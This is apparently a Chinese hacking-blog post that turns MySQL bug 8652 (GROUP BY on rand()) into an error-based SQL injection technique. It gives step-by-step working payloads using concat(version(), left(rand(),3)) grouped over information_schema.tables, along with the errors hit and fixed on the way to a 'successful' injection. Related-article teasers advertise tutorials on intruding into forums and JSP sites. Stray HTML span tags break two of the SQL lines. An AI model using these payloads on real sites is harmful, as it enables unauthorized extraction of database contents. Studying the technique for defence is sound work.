这里主要用了mysql的一个bug :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.
重现过程:
sql code复制内容到剪贴板
- use mysql;
- create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
- select left(rand(),3),a from r1 group by 1;
- select left(rand(),3),a, count(*) from r1 group by 1;
- select round(rand(1),1) ,a, count(*) from r1 group by 1;
于是便可以这样拿来爆错注入了。
select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>
尝试拿来实战
select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示错误 选择的列应该为一个。那么。我们换一下
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>
1248 (42000): every derived table must have its own alias
提示多表查询要有别名 那好办
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了.
作者: 小残 绳命不息 |折腾不止
如对本文有疑问,
点击进行留言回复!!
相关文章:
-
-
-
论坛通用入侵一条龙教学(图)
目前网上有种新的趋势,黑客们的攻击目标开始从网站延伸到论坛和聊天室及留言板等公共场所,而许多用户的论坛密码竟然与E-mail和QQ的密码完全相同,因此对大家的网...
[阅读全文]
-
-
追踪入侵JSP网站服务器
在用JSP制作的电子商务网站多如牛毛。但是对于JSP网站而言,安全性真的能够让人放心吗?面对层出不穷的黑客攻击和病毒袭击,JSP网站的服务器能够比其他网站的服务...
[阅读全文]
-
-
-
-
-
-
网友评论